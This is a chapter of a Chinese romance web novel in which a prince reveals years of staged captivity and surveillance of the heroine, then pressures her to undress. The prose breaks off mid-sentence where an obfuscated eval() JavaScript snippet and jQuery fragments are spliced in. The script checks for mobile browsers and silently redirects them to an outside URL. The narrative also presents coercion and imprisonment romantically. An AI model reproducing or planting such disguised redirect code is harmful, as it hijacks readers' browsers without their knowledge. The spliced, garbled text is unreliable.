38. 再次周旋

作品:《卿卿难逃

    疼痛令沁宁瞬间清醒。


    眼前人不是梦中人,而真是那位她曾小心周旋过的世子,如今的宸王殿下。


    她惊得倒退两步:“沐恒!你怎会在我房里?”


    这世上可直呼沐恒名讳的人一只手数得过来,沁宁本应跪于他面前,问一声宸王殿下安。


    可他做了她五年半的春闺梦里人,她每每醒后憾怍,下意识便唤他姓名。


    沐恒不以此为忤,心头梗着另一根刺。


    沁宁在梦中与宋润亲热的旧习竟半分未改!


    他离京前夜如此,如今他星夜兼程赶回,她依旧如此。


    沐恒心中恼怒,却温温一笑:“怕甚么,你与我通了五年半书信,已是熟悉得很。”


    此言如一道惊雷在沁宁心头炸开。


    与她通信之人竟是沐恒!


    那写信之人的笔意心思,与宋润有殊,此刻想来,与沐恒倒是契合。


    她每每读信,沐恒的身影便在心中盘桓。她常常梦见他,只道是夜有所梦,方才日有所思。


    她此前未作此想,只因那回信之人对唯她与宋润二人知晓的旧事与暗语了如指掌,更曾几度送来她留在宋府中的旧物。


    信函与物品全由荷露与方琪亲手交接,况且,她曾听父亲说起数度在雅集上遇到宋润,来信也谈及在雅集上与她父亲交谈的内容,两者所述全然吻合。


    难道,荷露一直在骗她?


    难道,连父亲也在骗她?!


    沁宁如遭冰水浇头,遍体生寒。可万千疑虑与震惊之中,最令她牵挂的乃是宋润。


    她的眼尾泛了红,声音里带着颤抖:“你快告诉我,润哥儿如今怎样?”


    沐恒呼吸一滞,他本以为沁宁会追问那些信究竟是怎么回事,却没想到她开口只问宋润。


    他与她神交无间,于她而言,竟不值一问?


    只因写信之人不是宋润,他与她往来信函所载之深情,便统统不作数了?


    沐恒忍着揪心的失落,轻笑着说道:“宋润与段玥被陛下赐婚,夫妻恩爱,段玥现已身怀六甲。我的一名侍女嫣然被冯寒江收为养女,宋润纳其为妾,亦令其有孕。宋润已有娇妻美妾,你总不至于还惦念着他吧?”


    沁宁听后只觉一阵天旋地转,身形摇晃,沐恒伸手欲扶住她,却被她用力推开。


    她向后退了两步,看着沐恒说道:“你说清楚,这一切究竟是怎么回事?”


    除沁宁之外,沐恒何曾被人这般推拒过?


    他想起当年的沁宁哪怕意识混沌,也曾抬手推他。


    时隔多年,她仍避他如虎狼!


    她毫不在意他!


    不在意站在她面前的他,不在意捧出一颗真心,以素纸寄情长,陪伴她多年的他。


    沐恒决定打开天窗说亮话。


    他略过沁宁“被病逝”后户籍已销,宋润两次断腿以及成了弘文馆中一名“跛子校书”之事,将沁宁如何在此的经过倒是说了个明白。


    沁宁听罢,如坠冰窟!


    不仅与她通信之人不是润哥儿,她认了五年半的父亲亦不是冯寒江,乃是沐恒的谋士程先生乔装。


    除了她从熙园带来的荷露乃真婢女,乔嬷嬷与府上其他下人皆是由沐恒的暗卫所扮。


    这座深宅自然也不是冯府,而是沐恒在京郊的一座别业。


    曾来过这府上的所谓冯氏族人,包括时不时来与她叙话、陪她解闷的所谓冯氏女眷,皆是沐恒的人。


    另有上百名护卫将这府邸守得针插不入、水泼不进。


    她自然也不是冯小姐。


    她仍是陈沁宁。


    她在此地被监视居住了五年半,期间所有人与她的来往皆是演戏。


    她的一言一行、一举一动均被记录在册,呈于沐恒。


    沐恒动用这样大的阵仗留住她,与她鸿雁传书,笔墨相交,即便战事最吃紧时与受伤时也从未间断。


    沁宁忆起那包掉落在地的红豆糕,她本以为自那以后沐恒便对她冷了情,却没想到,他从未放手。


    可心之所系,何时成了欺骗、囚禁与监视的理由?


    更何况,于沁宁而言,男女情爱抵不过恩义与诺言。


    与沐恒的这笔账,沁宁此刻无暇清算,她急于知道,宋润究竟怎么样了?


    依沐恒所说,宋润尚郡主,纳贵妾,妻妾皆已有孕。


    沁宁相信,沐恒既然这样讲,所言必是已成事实。


    可沁宁不信宋润会是心甘情愿,想来,他不是被逼迫,便是被蒙骗!


    方才沐恒讲述时,沁宁已稳下心神。


    多年前他不曾强要她,想来今日他亦不会骤然强.暴她。


    当年的沁宁便明白,与沐恒硬碰硬无异于以卵击石,唯有与他周旋,方有机会全身而退。


    如今的沁宁读书明理,心智更臻成熟。


    她不动声色地又退开两步,恭谨地福了一礼,“蒙王爷放良,又得这些年来锦衣玉食,沁宁心中感激不尽。只是久居深宅,恍不知世,特请明日出府一趟,万望王爷应允。”


    “哦?”沐恒面色沉静,微垂着一双桃花眸,目光在那张俏生生的脸上细细审度,“欲往何处?”


    他低沉磁音中的压迫感如暗潮般涌来。沁宁的纤指蜷入掌心,迎着他的视线说道:“想去看看润哥儿是否一切安好。”


    “之后呢?”沐恒似笑非笑地问道。


    “若见润哥儿万事顺遂,我此后自当安心报答王爷的恩情。”


    沐恒闻言,温声说道:“宋润实乃将嫣然认作了你,你若现身,徒乱他心神。如今他与妻妾和美,将要做两个孩儿的父亲,想来你也不愿令他为难。不若这样,过些日子我带你回熙园,再邀宋润带妻妾共来赴宴,你暗暗一观他如今的齐人之福,可好?”


    “全凭王爷安排。”沁宁将指甲掐入手心,轻声应道。


    沐恒微微颔首,举步向她走近。


    沁宁心头骤紧,一边向后退一边说道:“更深露重,还请王爷早些安歇,余事不妨改日再叙。”


    沐恒不语,仍步步逼近。沁宁被迫得连连后退,直至膝弯撞上榻沿,终是退无可退。


    强撑的平静已难以维持,她的肩头止不住地轻颤。


    “王爷,这是要做什么?”


    “自是歇


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135878|196277||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    息。”沐恒目光扫过卧榻,语气理所当然,“这本就是我的寝卧。”


    沁宁回望一眼榻上被自己睡乱的衾被,趁机说道:“我这便唤荷露来为王爷整理床铺。”她转向房门方向扬声唤道:“荷露——”


    在耳房当值的荷露未现身,亦未应声。


    沁宁心中咯噔一声,慌忙说道:“想是那丫头贪睡,我去瞧瞧。”


    她欲从旁离开,沐恒却一展臂将她揽入怀中,温热的吐息烫在她耳畔:“婢子既已睡下,何必扰人清梦。”


    沐恒身上散着御赐的龙涎香,唇齿间是薄荷冰片的气息,沁宁软在了他的怀里。


    除却今夜初见他时震惊万方,失了分寸,此刻的沁宁实则不敢,亦无力将他推开。


    沐恒搂着怀中柔弱无骨却轻颤不止的娇躯,低声哄道:“莫怕。床榻甚宽,今夜一人一半,不压着你。”


    沁宁心如擂鼓,思索沐恒是否当真“不压”自己,身子却已一轻,被他抱起后放落于榻上。紧接着,他亲手为她褪去了绣鞋。


    宸王殿下,竟为她脱鞋?!


    惊讶未平,沁宁又见沐恒自行脱去外衫,她慌忙向那“甚宽”的床榻内侧挪去。


    沐恒见她如此柔顺,桃花眸中漫起笑意,脱靴后着中衣上榻,躺在了外侧。


    沁宁见沐恒阖眸,一口气刚吁出一半,忽见他骤然睁眼,在榻上坐起,心头一紧,也慌忙跟着坐起身,轻唤道:“王爷……”


    沐恒说道:“有件事,我需确认。”


    “王爷请讲?”


    “你将寝衣脱了。”


    什么?!


    “我只看看。”


    沁宁不动,沐恒探过手去,作势要亲自替她宽衣。


    沁宁忙向后一缩,“若殿下当真只是看看,我便自己来。”


    沐恒点了点头。


    沁宁抖着指尖褪去了月白色杭绸寝衣,上下只着心衣与亵裤。


    沐恒清咳两声,“心衣,也脱了。”


    什么?!


    沁宁向后缩去,脊背抵住了卧榻内侧的墙壁。


    “若不想我动手,”沐恒作势探身,“你便自己来。”


    自那日与越星河策马归来,一个疑虑便在他心头升起:当初隔着薄绡看沁宁的身子,若是那胎记浅淡,恐是未能看清。


    尚要验看分明,方可安心。


    沐恒眸色渐深,沁宁咬了咬唇,声音微颤:“我自己来。”


    他若今夜要定了她,她又如何躲得过?


    她缓缓褪去心衣的肩带,冰绡滑落,堆叠在纤腰间。


    沐恒的视线落于雪峰,自左岭及右岭,由山谷至山巅,目光中不带半分狎昵,倒像是在细细地寻觅何物。


    半晌,他像是松了一口气,随后,桃花眸中漾开一泓清浅的春水。


    沁宁的双手死死攥着锦被,强压下几欲跳下床逃走的念头。


    沐恒将目光一收,“穿上吧。”


    沁宁如释重负,飞快地穿好衣裳后看向沐恒,讶然发现,他竟脸红了!


    绯色自眼尾漫开,染透耳根,一路蔓延至脖颈。


    他莫不是……害羞了?